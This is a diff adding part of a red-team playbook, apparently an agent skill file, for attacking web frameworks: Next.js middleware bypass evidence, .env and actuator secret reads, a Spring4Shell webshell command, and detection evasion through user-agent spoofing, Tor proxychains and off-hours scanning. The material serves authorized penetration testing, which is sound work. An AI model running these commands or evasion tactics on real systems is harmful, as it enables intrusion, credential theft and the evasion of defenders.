|
782
|
+
# 7. Screenshot evidence
|
|
783
|
+
# (Use chromium --headless or GoWitness for screenshot)
|
|
784
|
+
gowitness single "https://$TARGET/admin" --header "x-middleware-subrequest: middleware" \
|
|
785
|
+
-o ~/engagements/$TARGET/screenshots/
|
|
786
|
+
|
|
787
|
+
# 8. Document
|
|
788
|
+
cat > ~/engagements/$TARGET/loot/nextjs_bypass.md << EOF
|
|
789
|
+
## CVE-2025-29927 — Next.js Middleware Auth Bypass
|
|
790
|
+
|
|
791
|
+
**Target:** https://$TARGET
|
|
792
|
+
**Vulnerable routes:** /admin, /api/admin/*
|
|
793
|
+
**Bypass header:** x-middleware-subrequest: middleware
|
|
794
|
+
**Impact:** Unauthenticated access to admin panel and all admin API endpoints
|
|
795
|
+
**Evidence:** admin_page.html, admin_users.json
|
|
796
|
+
EOF
|
|
797
|
+
```
|
|
798
|
+
|
|
799
|
+
---
|
|
800
|
+
|
|
801
|
+
## 6. OPSEC Considerations
|
|
802
|
+
|
|
803
|
+
### Detection Risks by Attack Type
|
|
804
|
+
|
|
805
|
+
| Attack | Detection Risk | Triggered By |
|
|
806
|
+
|---|---|---|
|
|
807
|
+
| .env file access | Medium | Web server access logs, WAF rules for .env |
|
|
808
|
+
| Actuator endpoint scanning | High | Rapid sequential 404s/200s on /actuator/* paths |
|
|
809
|
+
| Heapdump download | High | Large response (100+ MB) to single request |
|
|
810
|
+
| CVE-2021-3129 (Laravel) | High | POST to /_ignition/execute-solution with file:// scheme |
|
|
811
|
+
| Spring4Shell | Critical | POST with ClassLoader parameter manipulation |
|
|
812
|
+
| SSTI probing | Medium-High | Template syntax in parameters (`{{`, `{%`) |
|
|
813
|
+
| SQL injection | Medium | Error responses, time-delayed requests |
|
|
814
|
+
| Mass assignment | Low | Extra JSON fields in legitimate-looking requests |
|
|
815
|
+
| Next.js middleware bypass | Low | Single header addition to normal requests |
|
|
816
|
+
|
|
817
|
+
### Mitigation Techniques
|
|
818
|
+
|
|
819
|
+
```bash
|
|
820
|
+
# 1. Rate limiting — slow down probing
|
|
821
|
+
# Add delay between requests
|
|
822
|
+
for ep in health info env beans mappings; do
|
|
823
|
+
curl -sk https://$TARGET/actuator/$ep
|
|
824
|
+
sleep $(( RANDOM % 5 + 3 )) # 3-8 second random delay
|
|
825
|
+
done
|
|
826
|
+
|
|
827
|
+
# 2. User-Agent rotation — avoid default tool signatures
|
|
828
|
+
curl -sk https://$TARGET/.env \
|
|
829
|
+
-A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0"
|
|
830
|
+
|
|
831
|
+
# 3. Use ffuf with rate limiting
|
|
832
|
+
ffuf -u "https://$TARGET/FUZZ" -w $WORDLIST \
|
|
833
|
+
-rate 10 \ # Max 10 req/sec
|
|
834
|
+
-p "0.1-0.5" \ # Random delay 0.1-0.5s between requests
|
|
835
|
+
-H "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1)"
|
|
836
|
+
|
|
837
|
+
# 4. Distribute requests — avoid single-source detection
|
|
838
|
+
# Route through Tor or proxy chain for sensitive tests
|
|
839
|
+
proxychains4 curl -sk https://$TARGET/.env
|
|
840
|
+
|
|
841
|
+
# 5. Avoid loud scanners during active detection windows
|
|
842
|
+
# Do NOT run: nikto, sqlmap with --level=5, nuclei -tags rce in business hours
|
|
843
|
+
# Save automated scans for off-hours or explicitly approved windows per ROE
|
|
844
|
+
|
|
845
|
+
# 6. Heapdump — alert on size
|
|
846
|
+
# Check Content-Length before downloading
|
|
847
|
+
curl -sk -I https://$TARGET/actuator/heapdump | grep -i "content-length"
|
|
848
|
+
# If > 500MB, get explicit approval before downloading
|
|
849
|
+
|
|
850
|
+
# 7. SSTI payloads — use non-destructive tests first
|
|
851
|
+
# Start with arithmetic: {{7*7}} before command execution
|
|
852
|
+
# Never test destructive payloads (rm -rf, shutdown) unless explicitly scoped
|
|
853
|
+
|
|
854
|
+
# 8. Spring4Shell — creates a JSP file on disk
|
|
855
|
+
# Coordinate with client before executing to avoid SOC alerting on webshell creation
|
|
856
|
+
# Remove webshell immediately after demonstration: curl -sk https://$TARGET/tomcatwar.jsp -d "cmd=rm /path/to/tomcatwar.jsp"
|
|
857
|
+
```
|
|
858
|
+
|
|
859
|
+
### Log Artifacts Generated
|
|
860
|
+
|
|
861
|
+
- **Laravel:** `/storage/logs/laravel.log` records requests including IP, URI, and Ignition errors
|
|
862
|
+
- **Django:** Django debug toolbar stores query data; access logs at standard nginx/apache locations
|
|
863
|
+
- **Spring Boot:** Actuator access logged at INFO level; heapdump triggers JVM-level events
|
|
864
|
+
- **Next.js:** Standard access logs; middleware bypass leaves header in server-side logs
|
|
865
|
+
- **Rails:** `log/production.log` with full request details including parameters
|
|
866
|
+
|
|
867
|
+
---
|
|
868
|
+
|
|
869
|
+
## 7. Output and Documentation
|
|
870
|
+
|
|
871
|
+
### Evidence Collection Checklist
|
|
872
|
+
|
|
873
|
+
```bash
|
|
874
|
+
# Per framework finding, collect:
|
|
875
|
+
# 1. Screenshot or curl output of vulnerability confirmation
|
|
876
|
+
# 2. HTTP request/response pair (use -v with curl, save to file)
|
|
877
|
+
# 3. CVSS score note (consult rt-cvss-calculator)
|
|
878
|
+
# 4. Business impact statement
|
|
879
|
+
# 5. Proof of exploitation artifact (command output, screenshot, loot file)
|
|
880
|
+
|
|
881
|
+
# Example evidence capture
|
|
882
|
+
curl -sk -v https://$TARGET/.env 2>&1 | tee ~/engagements/$TARGET/evidence/laravel_env_exposure.txt
|
|
883
|
+
|
|
884
|
+
curl -sk -v https://$TARGET/actuator/env 2>&1 | tee ~/engagements/$TARGET/evidence/spring_actuator_env.txt
|
|
885
|
+
|
|
886
|
+
# Screenshot for report
|
|
887
|
+
# Use gowitness or chromium headless
|
|
888
|
+
gowitness single "https://$TARGET/admin" -o ~/engagements/$TARGET/screenshots/
|
|
889
|
+
```
|
|
890
|
+
|
|
891
|
+
### Finding Template
|
|
892
|
+
|
|
893
|
+
```markdown
|
|
894
|
+
## [CRITICAL/HIGH/MEDIUM] Framework Misconfiguration — <Framework> <Vulnerability>
|
|
895
|
+
|
|
896
|
+
**Affected URL:** https://TARGET/path
|
|
897
|
+
**Framework:** Laravel / Django / Spring Boot / Next.js / Rails
|
|
898
|
+
**CVE (if applicable):** CVE-XXXX-XXXXX
|
|
899
|
+
**CVSS Score:** X.X (Critical/High/Medium)
|
|
900
|
+
|
|
901
|
+
### Description
|
|
902
|
+
Brief description of the vulnerability and how it was identified.
|
|
903
|
+
|
|
904
|
+
### Steps to Reproduce
|
|
905
|
+
1. Send request: `curl -sk https://TARGET/path`
|
|
906
|
+
2. Observe: [response showing vulnerability]
|
|
907
|
+
3. Impact demonstrated by: [credential extracted / RCE achieved / auth bypassed]
|
|
908
|
+
|
|
909
|
+
### Evidence
|
|
910
|
+
[Screenshot or curl output attached]
|
|
911
|
+
|
|
912
|
+
### Impact
|
|
913
|
+
[Specific business impact — data exposed, systems compromised, lateral movement possible]
|
|
914
|
+
|
|
915
|
+
### Remediation
|
|
916
|
+
[Framework-specific fix with version or configuration reference]
|
|
917
|
+
```
|
|
918
|
+
|
|
919
|
+
### Recommended Downstream Skills
|
|
920
|
+
|
|
921
|
+
- After credential extraction → `rt-credential-hunt` (validate credentials across services)
|
|
922
|
+
- After RCE achieved → `rt-post-exploitation` (persistence, lateral movement)
|
|
923
|
+
- For reporting → `rt-finding-document`, `rt-technical-report`
|
|
924
|
+
- For CVSS scoring → `rt-cvss-calculator`
|
|
925
|
+
- For attack chain mapping → `rt-kill-chain-map`, `rt-mitre-map`
|
|
926
|
+
|
|
927
|
+
---
|
|
928
|
+
|
|
929
|
+
## 8. Resources
|
|
930
|
+
|
|
931
|
+
### Official Framework Security Advisories
|
|
932
|
+
|
|
933
|
+
- Laravel Security: https://github.com/laravel/framework/security/advisories
|
|
934
|
+
- Django Security: https://docs.djangoproject.com/en/stable/releases/security/
|
|
935
|
+
- Spring Security Advisories: https://spring.io/security
|
|
936
|
+
- Next.js Security: https://github.com/vercel/next.js/security/advisories
|
|
937
|
+
- Rails Security: https://rubyonrails.org/security
|
|
938
|
+
|
|
939
|
+
### CVE-Specific References
|
|
940
|
+
|
|
941
|
+
- CVE-2021-3129 (Laravel Ignition RCE): https://github.com/ambionics/laravel-exploits
|
|
942
|
+
- CVE-2022-22965 (Spring4Shell): https://github.com/reznok/Spring4Shell-POC
|
|
943
|
+
- CVE-2025-29927 (Next.js Middleware Bypass): https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
|
|
944
|
+
|
|
945
|
+
### Exploit Tools and Frameworks
|
|
946
|
+
|
|
947
|
+
- phpggc (PHP gadget chains, useful for Laravel): https://github.com/ambionics/phpggc
|
|
948
|
+
- ysoserial (Java deserialization, Spring): https://github.com/frohoff/ysoserial
|
|
949
|
+
- tplmap (Server-Side Template Injection scanner): https://github.com/epinna/tplmap
|
|
950
|
+
- django-admin-honeypot: https://github.com/dmpayton/django-admin-honeypot (understand defenses)
|
|
951
|
+
- springboot-actuator-exploit: https://github.com/mpgn/Spring-Boot-Actuator-Exploit
|
|
952
|
+
- nuclei-templates (framework-specific): https://github.com/projectdiscovery/nuclei-templates/tree/main/http/technologies
|
|
953
|
+
|
|
954
|
+
### Research and Writeups
|
|
955
|
+
|
|
956
|
+
- HackTricks — Framework Pentesting: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web
|
|
957
|
+
- PayloadsAllTheThings — SSTI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
|
|
958
|
+
- PayloadsAllTheThings — Mass Assignment: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Mass%20Assignment/README.md
|
|
959
|
+
- PortSwigger Research — Spring: https://portswigger.net/research/spring-framework-exploits
|
|
960
|
+
- OWASP Testing Guide — Framework Testing: https://owasp.org/www-project-web-security-testing-guide/
|
|
961
|
+
|
|
962
|
+
### Wordlists
|
|
963
|
+
|
|
964
|
+
- SecLists (framework-specific): https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content
|
|
965
|
+
- `spring-boot.txt` — Spring Boot actuator paths
|
|
966
|
+
- `django.txt` — Django admin and common paths
|
|
967
|
+
- `Laravel.txt` — Laravel-specific paths
|